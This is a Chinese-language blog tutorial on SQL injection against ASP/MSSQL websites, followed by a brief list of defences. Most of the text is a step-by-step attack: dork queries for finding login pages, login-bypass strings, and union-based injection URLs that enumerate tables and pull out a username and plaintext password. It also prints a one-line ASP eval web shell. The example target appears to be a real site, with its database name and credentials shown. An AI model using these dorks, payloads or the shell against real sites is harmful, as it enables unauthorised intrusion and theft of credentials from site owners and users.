[渗透攻防] 一.从数据库原理学习网络攻防及防止SQL注入
這是最近自己學習滲透和網站攻防的文章,希望能深入地學習這部分知識,同時認了Na師傅和Rong師傅,知道了人外有人、天外有天,真的很享受這種探索問題、解決問題和分析知識的過程。希望文章對你有所幫助,尤其是學習網站如何防止SQL注入及數據庫原理的初學者或安全工程師。如果文章中存在錯誤或不足之處,還請海涵~
? ? 一.Google搜索知識
? ? 二.萬能密碼原理
? ? 三.數據庫解讀SQL注入攻防原理
? ? ? ? 1.數據庫如何判斷注入點
? ? ? ? 2.數據庫如何判斷字段總數 order by
? ? ? ? 3.數據庫獲取顯示位 union
? ? ? ? 4.數據庫顯示錯誤網頁及對應數據 db_name
? ? ? ? 5.數據庫獲取表名及列名,Python爬蟲引入
? ? ? ? 6.數據庫獲取登錄表usr字段 id=object_id('usr')
? ? ? ? 7.數據庫返回用戶名和密碼?
? ? ? ? 8.登錄系統并獲取WebShell
? ? 四.防SQL注入措施及建議
一. Google搜索知識
Google提供了強大的搜索功能,可以獲取精準的結果。如果訪問不了,也可以通過百度獲取相關內容,但是結果遠沒有谷歌精準,很多無關的廣告及視頻會返回給你。
方法如下:
intitle:eastmount
搜索網頁標題包含eastmount字符的網頁。
inurl:cbi
搜索包含特定字符cbi的URL。
intext:cbi
搜索網頁正文內容包含特定字符cbi的網頁。
filetype:ppt
搜索制定類型的文件,返回所有以ppt結尾的文件URL。
site
找到與指定網站有聯系的URL。
常用示例:inurl:login.asp、inurl:asp?id=、inurl:login.asp intilte:貴州
二. 萬能密碼原理
萬能密碼通常是指開發人員在開發過程中使用超級管理員進行開發,開發完成后沒有過濾掉這些常用的超級管理員;另一種是存在SQL漏洞管理員賬號。下面分別進行討論:
1.萬能密碼:用戶名 admin、密碼admin,用戶名admin、密碼123456
2.萬能密碼:用戶名 'or'='or'、密碼 'or'='or'
? ?原理解釋:假設用戶登錄對應的語句為:
? ?select name, pwd from login where name='' and pwd='';
? ?如果用戶名輸入正確則直接登錄,否則提示用戶名或密碼錯誤,使用萬能密碼后的SQL語句如下:
? ?select name, pwd from login where name=''or'='or'' and pwd=''or'='or'';
? ?核心代碼,兩個單引號匹配,即name='',然后or連接,單引號等于單引號('=')這是恒成立的,緊接著or連接兩個單引號(''),同理密碼pwd。這樣or連接的('=')是恒成立的,故返回結果為真,導致直接登錄。
3.萬能密碼:用戶名 'or''='、密碼'or''='
? ?原理解釋:此時對應的SQL語句如下:
? ?select name, pwd from login where name=''or''='' and pwd=''or''='';
4.萬能密碼:用戶名'or'='--、密碼'or'='--
? ?原理解釋:此時對應的SQL語句如下:
? ?select name, pwd from login where name=''or'='--' and pwd=''or'='--';
通過如 inurl:login.asp 等搜索技術找到一些列網站后臺登錄界面后,反復嘗試這些萬能密碼進行登錄。防范措施也比較簡單:
1.開發人員開發完成后,過濾掉admin等常用賬號或修改密碼;
2.當用戶第一次登錄的時候,對簡單的密碼進行修改提示,防止暴力破解;
3.用戶名或密碼屏蔽掉單引號(')、等號(=)、注釋(--)等特殊字符;
4.對嘗試SQL注入的IP地址進行報警提示或日志記錄。
三. 數據庫解讀SQL注入攻防原理
下面通過一個簡單的例子從數據庫原理知識解讀SQL注入攻防原理,內容比較簡單,但希望假設存在一個網址能正常顯示內容:
http://xxxxx/show.asp?code=115
對應的后臺SQL語句可能如下:
select .... from table where code='115' and xxxx;
1.數據庫如何判斷注入點
判斷注入點的方法很多,比如show.asp?code=115' 加單引號,show.asp?code=115-1 減1,這里介紹一個經典的方法。
(1)?http://xxxxx/show.asp?code=115' and 1=1 -- ? ? ? (正常顯示)
對應的SQL語句:
select .... from table where code='115' and 1=1 --?and xxxx;
單引號(')匹配code='115,然后and連接,1=1恒成立,注釋(--)掉后面語句。
(2)?http://xxxxx/show.asp?code=115' and 1=2 -- ? ? ??(錯誤顯示)
對應的SQL語句:
select .... from table where code='115' and 1=2 --?and xxxx;
單引號(')匹配code='115,然后and連接,1=2恒錯誤,注釋(--)掉后面語句。
2.數據庫如何判斷字段總數 order by
(1)?http://xxxxx/show.asp?code=115' order by 1 -- ? ?(正常顯示)
對應的SQL語句:
select .... from table where code='115' order by 1 --?and xxxx;
按照1個字段進行排序,正常顯示表示該URL對應的SQL語句至少一個字段。
(2)?http://xxxxx/show.asp?code=115' order by 10 -- ?(正常顯示)
對應的SQL語句:
select .... from table where code='115' order by 10 --?and xxxx;
依次按照字段增加網上進行排序,如果提示錯誤order by 11,則表示共10個字段。
(3)?http://xxxxx/show.asp?code=115' order by 11 -- ?(錯誤顯示)
?
3.數據庫獲取顯示位 union
在得到字段個數后,需要獲取字段位置,則使用union或union all。其中union表示將兩個select結果整體顯示,并合并相同的結果,union all顯示全部結果。例如:
(1)? http://xxxxx/show.asp?code=115' union all select null,...,null --??
正常顯示,共10個null,表示通配符,如果9個null會報錯,需對應10個字段。
(2)?http://xxxxx/show.asp?code=115' union all select 1,...,null --??
依次替換成數字,測試哪幾個字段有結果,如果報錯則替換回null。最終的結果為:
show.asp?code=115' union all?select 1,null,3,null,null,6,7,8,9,10 --
對應的SQL語句為:
select .... from table where code='115'?union all?select 1,null,3,null,null,6,7,8,9,10 --?xxxx;
(3)?http://xxxxx/show.asp?code=-1' union all select 1,...,null --??
然后將數字115替換成-1,一個不存在的界面,則會顯示如下所示結果,可以看到附件顯示對應的值7、8、9,再想辦法將我們需要的結果在這里顯示即可,這些數據都是從后臺數據庫中查詢出來的。
4.數據庫顯示錯誤網頁及對應數據 db_name
該網站使用的數據庫為MSSQL,則一定特定的字段需要知道:
? ?host_name():連接數據庫服務器的計算機名稱
? ?@@version:獲取數據庫版本號
? ?db_name():數據庫的庫名稱
? ?@@servername:當前數據庫計算機的名稱=host_name()
(1)?http://xxxxx/show.asp?code=-1' union all
select?1,null,3,null,null,6,host_name(),@@version,db_name(),10 --??
輸出結果如下所示:
? ? 附件1:AYD
? ? 附件2:Microsoft SQL Server....
? ? 附件3:ahykd_new
其中數據庫的名稱就是ahykd_new,接下來相同的道理獲取數據庫所有表及列。
5.數據庫獲取表名及列名,Python爬蟲引入
SQL Server自帶系統對象表,當前數據庫所有字段。
? ? sysobjects 表名
? ? syscolumns 列名
其中,name表示對象名(表名),id表示表編號,type表示對象類型,其值為U表示用戶表,S表示系統表,C約束,PK主鍵等。
sysobjects 和?syscolumns 之間以id互相對應,一個表名在sysobjects得到id后可以在syscolumns找到它的列名。
重點知識:
a.查看所有表名語句
select name from sysobjects where type='U';
b.詢表table1的所有字段名稱
select name from syscolumns where id=object_id('table1');
(1)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,
(select top 1 name from sysobjects where type='U'),10 --
輸出結果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:kc_jxjd
其中top 1 name用于輸出1個字段(相當于MySQL使用limit 1),sysobjects中u為用戶表,count(*)可以統計總共87個表。
問題:現在是獲取1個表,那么如何獲取其他表呢?
(2)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8, (select top 1 name from
(select top 2 name from sysobjects?where type='U' order by desc) a
order by 1 asc),10 --
通過子查詢一個升序,一個降序獲取第二個值,同理第三個top 3。
下面通過Python定義一個爬蟲不斷訪問top n,獲取所有的表名,代碼如下:
6.數據庫獲取登錄表usr字段 id=object_id('usr')
(1)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,
(select top 1 name from syscolmns where id=object_id('usr')),10 --
輸出結果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:answer
其中top 1 name用于輸出1個字段,表usr的一個列表。
(2) 核心SQL語句獲取不同的列名:
(select top 1 name from?(select top?3?name from?syscolumns?where id=object_id('usr') order by asc) a?order by 1 desc)
輸出結果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:dic_roll
同理,也可以借助Python獲取所有字段,如果字段少,手工即可測試出來,count(*)返回字段個數。最后發現,用戶名為usr_name,密碼為passwd。
7.數據庫返回用戶名和密碼?
(1)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,(select top 1 usr_name from usr),10 --
輸出結果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:2016001
輸出用戶名2016001,在搜索密碼。
(2)?http://xxxxx/show.asp?code=-1' union all?
select?1,null,3,null,null,6,7,8,
(select passwd ?from usr where usr_name='2016001'),10 --
輸出結果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:123456
輸出用戶名2016001,密碼123456,此時即可登錄,通過Python可以獲取所有值。
8.登錄系統并獲取WebShell
登錄后臺基本完成,下面將講解如何進行SQL防御。
PS:<%eval request("Nana") %>
四. 防SQL注入措施及建議
上面通過數據庫原理進行了詳細的講解,這種網站基本很少存在了,幾乎為0,更多的網頁都有相關的屏蔽的。比如:
1.在URL設置不允許非法字符,如單引號、等號、注釋--、減號,提示非法參數;
2.在URL設置不允許SQL常見的關鍵詞,如and、select、or、insert等;
3.傳遞的id=115參數必須為數字才能正常跳轉,否則跳轉錯誤,如下圖所示:
4.服務器啟用SQL注入攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墻攔截,因為可能通過POST、Cookies進行攻擊。各方面都需要做到防御。
5.可以使用Javascript在客戶端進行不安全字符屏蔽,也可以在jsp中調用該函數檢查是否包函非法字符,或使用正則表達式過濾傳入的參數,防止SQL從URL注入。
希望文章對你有所幫助,尤其是網絡安全的程序員,如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,學中文的扔掉了手中的尤克里里,教我寫代碼也是很瘋狂的啊,哈哈!不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-13 晚上12點 ?http://blog.csdn.net/eastmount/?)
總結
以上是生活随笔為你收集整理的[渗透攻防] 一.从数据库原理学习网络攻防及防止SQL注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【python数据挖掘课程】十五.Mat
- 下一篇: [渗透攻防] 二.SQL MAP工具从零